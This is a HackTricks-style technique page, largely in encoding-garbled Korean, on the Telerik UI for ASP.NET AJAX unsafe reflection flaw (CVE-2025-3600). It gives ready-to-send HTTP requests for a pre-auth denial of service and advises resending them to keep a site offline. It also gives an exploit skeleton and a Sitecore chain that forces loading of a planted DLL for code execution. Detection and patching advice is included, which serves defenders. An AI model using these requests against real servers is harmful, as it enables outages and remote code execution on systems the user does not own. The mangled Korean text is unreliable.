Telerik UI for ASP.NET AJAX โ Unsafe Reflection via WebResource.axd (type=iec)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Preโauth constructor execution in Telerik UI for ASP.NET AJAX Image Editor cache handler enables universal DoS and, in many apps, preโauth RCE via targetโspecific gadgets (CVE-2025-3600).
TL;DR
- Affected component/route: Telerik.Web.UI.WebResource.axd with query type=iec (Image Editor cache handler). Exposed preโauth in many products.
- Primitive: Attacker controls a type name (prtype). The handler resolves it with Type.GetType() and invokes Activator.CreateInstance() before verifying interface type-safety. Any public parameterless .NET type constructor will run.
- Impact:
- Universal preโauth DoS with a .NET framework gadget (PowerShell WSMan finalizer).
- Often elevates to preโauth RCE in real deployments by abusing appโspecific gadgets, especially insecure AppDomain.AssemblyResolve handlers.
- Fix: Update to Telerik UI for ASP.NET AJAX 2025.1.416+ or remove/lock the handler.
์ํฅ ๋ฐ๋ ๋ฒ์
- Telerik UI for ASP.NET AJAX ๋ฒ์ 2011.2.712 ๋ถํฐ 2025.1.218(ํฌํจ)๊น์ง ์ทจ์ฝํฉ๋๋ค.
- 2025.1.416(๋ฆด๋ฆฌ์ค 2025-04-30)์์ ์์ ๋์์ต๋๋ค. ์ฆ์ ํจ์นํ๊ฑฐ๋ ํธ๋ค๋ฌ๋ฅผ ์ ๊ฑฐ/์ ๊ทธ์ธ์.
์ํฅ ๋ฒ์ ๋ฐ ๋น ๋ฅธ ํ์ง
- ๋
ธ์ถ ํ์ธ:
- ํธ๋ค๋ฌ๊ฐ ์ฐ๊ฒฐ๋์ด ์์ผ๋ฉด GET /Telerik.Web.UI.WebResource.axd ๋ 404/403 ์ด์ธ์ ์๋ต์ ๋ฐํํด์ผ ํฉ๋๋ค.
- web.config์์ Telerik.Web.UI.WebResource.axd๋ก ๋งคํ๋ ํธ๋ค๋ฌ๋ฅผ ํ์ธํ์ธ์.
- ์ทจ์ฝํ ์ฝ๋ ๊ฒฝ๋ก๋ฅผ ํธ๋ฆฌ๊ฑฐํ๋ ค๋ฉด: type=iec, dkey=1, prtype=
๊ฐ ํ์ํฉ๋๋ค.
Example probe and generic trigger:
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=Namespace.Type, Assembly
์ฐธ๊ณ
- ์ผ๋ถ PoCs๋ dtype์ ์ฌ์ฉํฉ๋๋ค; ๊ตฌํ์ ๋ค์ด๋ก๋ ํ๋ฆ์์ dkey==โ1โ์ ํ์ธํฉ๋๋ค.
- prtype๋ assembly-qualified์ด๊ฑฐ๋ ํ์ฌ AppDomain์์ ํด๊ฒฐ ๊ฐ๋ฅํด์ผ ํฉ๋๋ค.
๊ทผ๋ณธ ์์ธ โ ImageEditorCacheHandler์์์ unsafe reflection
Image Editor์ ์บ์ ๋ค์ด๋ก๋ ํ๋ฆ์ prtype์ ์ ๊ณต๋ ํ์ ์ ์ธ์คํด์ค๋ฅผ ์์ฑํ๊ณ , ๋์ค์ ๊ทธ๊ฒ์ ICacheImageProvider๋ก ์บ์คํธํ ๋ค์ ๋ค์ด๋ก๋ ํค๋ฅผ ๊ฒ์ฆํฉ๋๋ค. ๊ฒ์ฆ์ด ์คํจํ ๋์๋ ์ด๋ฏธ ์์ฑ์์ ์คํ์ด ์๋ฃ๋ ์ํ์ ๋๋ค.
๊ด๋ จ ๋์ปดํ์ผ๋ ํ๋ฆ
```csharp // entrypoint public void ProcessRequest(HttpContext context) { string text = context.Request["dkey"]; // dkey string text2 = context.Request.Form["encryptedDownloadKey"]; // download key ... if (this.IsDownloadedFromImageProvider(text)) // effectively dkey == "1" { ICacheImageProvider imageProvider = this.GetImageProvider(context); // instantiation happens here string key = context.Request["key"]; if (text == "1" && !this.IsValidDownloadKey(text2)) { this.CompleteAsBadRequest(context.ApplicationInstance); return; // cast/check happens after ctor has already run } using (EditableImage editableImage = imageProvider.Retrieve(key)) { this.SendImage(editableImage, context, text, fileName); } } }private ICacheImageProvider GetImageProvider(HttpContext context) { if (!string.IsNullOrEmpty(context.Request[โprtypeโ])) { return RadImageEditor.InitCacheImageProvider( RadImageEditor.GetICacheImageProviderType(context.Request[โprtypeโ]) // [A] ); } โฆ }
public static Type GetICacheImageProviderType(string imageProviderTypeName) { return Type.GetType(string.IsNullOrEmpty(imageProviderTypeName) ? typeof(CacheImageProvider).FullName : imageProviderTypeName); // [B] }
protected internal static ICacheImageProvider InitCacheImageProvider(Type t) { // unsafe: construct before enforcing interface type-safety return (ICacheImageProvider)Activator.CreateInstance(t); // [C] }
</details>
์ต์คํ๋ก์ ๊ธฐ๋ณธ ์๋ฆฌ: ์ ์ด๋ ํ์
๋ฌธ์์ด โ Type.GetType๊ฐ ์ด๋ฅผ ํด์ โ Activator.CreateInstance๊ฐ ๊ณต๊ฐ ๋งค๊ฐ๋ณ์ ์๋ ์์ฑ์๋ฅผ ์คํํ๋ค. ์์ฒญ์ด ์ดํ์ ๊ฑฐ๋ถ๋๋๋ผ๋ gadget์ ๋ถ์์ฉ์ ์ด๋ฏธ ๋ฐ์ํ๋ค.
## Universal DoS gadget (์ฑ-ํน์ gadget ๋ถํ์)
ํด๋์ค: System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper in System.Management.Automation (PowerShell)๋ finalizer๊ฐ ์ด๊ธฐํ๋์ง ์์ ํธ๋ค์ Disposeํ์ฌ, GC๊ฐ ์ด๋ฅผ finalizer์์ ์ฒ๋ฆฌํ ๋ ์ฒ๋ฆฌ๋์ง ์์ ์์ธ๋ฅผ ๋ฐ์์ํจ๋ค. ์ด๋ก ์ธํด ์ธ์คํด์คํ ์งํ IIS ์์ปค ํ๋ก์ธ์ค๊ฐ ์ ๋ขฐ์ฑ ์๊ฒ ์ถฉ๋ํ๋ค.
์์ท DoS ์์ฒญ:
```http
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35
Notes
- ์ฌ์ดํธ๋ฅผ ์คํ๋ผ์ธ ์ํ๋ก ์ ์งํ๋ ค๋ฉด ์ฃผ๊ธฐ์ ์ผ๋ก ๊ณ์ ์ ์กํ์ธ์. ๋๋ฒ๊ฑฐ์์ constructor๊ฐ ํธ์ถ๋๋ ๊ฒ์ ๊ด์ฐฐํ ์ ์์ผ๋ฉฐ; finalization ์ ํฌ๋์๊ฐ ๋ฐ์ํฉ๋๋ค.
From DoS to RCE โ escalation patterns
Unsafe constructor execution unlocks many targetโspecific gadgets and chains. Hunt for:
- Parameterless constructors that process attacker input
- Some ctors (or static initializers) immediately read Request query/body/cookies/headers and (de)serialize them.
- Example (Sitecore): a ctor chain reaches GetLayoutDefinition() which reads HTTP body โlayoutโ and deserializes JSON via JSON.NET.
- Constructors that touch files
- Ctros that load or deserialize config/blobs from disk can be coerced if you can write to those paths (uploads/temp/data folders).
- Constructors performing app-specific ops
- Resetting state, toggling modules, or terminating processes.
- Constructors/static ctors that register AppDomain event handlers
- Many apps add AppDomain.CurrentDomain.AssemblyResolve handlers that build DLL paths from args.Name without sanitization. If you can influence type resolution you can coerce arbitrary DLL loads from attackerโcontrolled paths.
- Forcing AssemblyResolve via Type.GetType
- Request a non-existent type to force CLR resolution and invoke registered (possibly insecure) resolvers. Example assembly-qualified name:
This.Class.Does.Not.Exist, watchTowr
- ํ์ด๋๋ผ์ด์ (finalizer)์ ํ๊ดด์ ๋ถ์์ฉ
- ์ผ๋ถ ํ์ ์ ํ์ด๋๋ผ์ด์ ์์ ๊ณ ์ ๊ฒฝ๋ก์ ํ์ผ์ ์ญ์ ํฉ๋๋ค. link-following ๋๋ ์์ธก ๊ฐ๋ฅํ ๊ฒฝ๋ก์ ๊ฒฐํฉ๋๋ฉด ํน์ ํ๊ฒฝ์์ local privilege escalation์ ์ด๋ํ ์ ์์ต๋๋ค.
Example preโauth RCE chain (Sitecore XP)
- Step 1 โ Preโauth: static/instance ctor๊ฐ ์ทจ์ฝํ AssemblyResolve handler๋ฅผ ๋ฑ๋กํ๋ ํ์ ์ ํธ๋ฆฌ๊ฑฐํฉ๋๋ค (e.g., Sitecoreโs FolderControlSource in ControlFactory).
- Step 2 โ Postโauth: resolver-probed ๋๋ ํฐ๋ฆฌ์ ์ฐ๊ธฐ ๊ถํ์ ์ป์ด ์ ์ฑ DLL์ ์ฌ์ต๋๋ค (e.g., via an auth bypass or weak upload).
- Step 3 โ Preโauth: ์กด์ฌํ์ง ์๋ ํ์ ๊ณผ traversalโladen assembly name์ ์ฌ์ฉํด CVEโ2025โ3600์ ์ ์ฉํ์ฌ ๋ฆฌ์กธ๋ฒ๊ฐ ์ฌ์ด๋ DLL์ ๋ก๋ํ๋๋ก ๊ฐ์ โ code execution as the IIS worker.
ํธ๋ฆฌ๊ฑฐ ์์
# Load the insecure resolver (no auth on many setups)
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
# Coerce the resolver via Telerik unsafe reflection
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=watchTowr.poc,+../../../../../../../../../watchTowr
๊ฒ์ฆ, hunting ๋ฐ DFIR ๋ ธํธ
- ์์ ํ ์คํ์ค ๊ฒ์ฆ: DoS ํ์ด๋ก๋๋ฅผ ๋ฐ์ฌํ๊ณ WSMan finalizer์ ์ฐ๊ด๋ ์ฑ ํ ์ฌ์์/์ฒ๋ฆฌ๋์ง ์์ ์์ธ๋ฅผ ๊ด์ฐฐํฉ๋๋ค.
- ํ ๋ ๋ฉํธ๋ฆฌ์์ ์์:
- Requests to /Telerik.Web.UI.WebResource.axd with type=iec and odd prtype values.
- ํ์ ๋ก๋ ์คํจ ๋ฐ AppDomain.AssemblyResolve ์ด๋ฒคํธ.
- ์ด๋ฌํ ์์ฒญ ์ดํ์ ๊ฐ์์ค๋ฌ์ด w3wp.exe ์ถฉ๋/์ฌ์์.
์ํ ์กฐ์น
- Telerik UI for ASP.NET AJAX 2025.1.416 ์ด์์ผ๋ก ํจ์น.
- ๊ฐ๋ฅํ ๊ฒฝ์ฐ Telerik.Web.UI.WebResource.axd์ ๋ ธ์ถ์ ์ ๊ฑฐํ๊ฑฐ๋ ์ ํ (WAF/rewrites).
- ์๋ฒ ์ธก์ prtype ์ฒ๋ฆฌ๋ฅผ ๋ฌด์ํ๊ฑฐ๋ ๊ฐํ(์ ๊ทธ๋ ์ด๋๋ ์ธ์คํด์คํ ์ ์ ์ ์ ํ ๊ฒ์ฌ ์ ์ฉ).
- ์ปค์คํ AppDomain.AssemblyResolve ํธ๋ค๋ฌ๋ฅผ ๊ฐ์ฌํ๊ณ ๊ฐํ. args.Name์์ ๊ฒฝ๋ก๋ฅผ ๋ฌด๊ฒ์ฆ์ผ๋ก ์์ฑํ์ง ๋ง์ญ์์ค; strong-named loads ๋๋ ํ์ดํธ๋ฆฌ์คํธ๋ฅผ ์ ํธํฉ๋๋ค.
- ์ ๋ก๋/์ฐ๊ธฐ ์์น๋ฅผ ์ ํํ๊ณ probed ๋๋ ํ ๋ฆฌ์ DLL์ด ๋จ์ด์ง๋ ๊ฒ์ ๋ฐฉ์ง.
- resolver ์ ์ฉ์ ํฌ์ฐฉํ๊ธฐ ์ํด ์กด์ฌํ์ง ์๋ ํ์ ๋ก๋ ์๋๋ฅผ ๋ชจ๋ํฐ๋ง.
์นํธ์ํธ
- Presence check:
- GET /Telerik.Web.UI.WebResource.axd
- web.config์์ handler ๋งคํ ํ์ธ
- Exploit skeleton:
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=<TypeName,+Assembly,+Version=..., +PublicKeyToken=...>
- Universal DoS:
...&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35
- ํธ๋ฆฌ๊ฑฐ ๋ฆฌ์กธ๋ฒ:
This.Class.Does.Not.Exist, watchTowr
๊ด๋ จ ๊ธฐ์
- IIS post-exploitation, .NET key extraction, and inโmemory loaders:
IIS - Internet Information Services
- ASP.NET ViewState deserialization and machineKey abuses:
Exploiting __VIEWSTATE without knowing the secrets
์ฐธ๊ณ ์๋ฃ
- watchTowr labs โ More than DoS: Progress Telerik UI for ASP.NET AJAX Unsafe Reflection (CVE-2025-3600)
- Black Hat USA 2019 โ SSO Wars: The Token Menace (Mirosh & Muรฑoz) โ DoS gadget background
- ZDI โ Abusing arbitrary file deletes to escalate privilege
- watchTowr โ Is โBโ for Backdoor? (Sitecore chain CVE-2025-34509)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


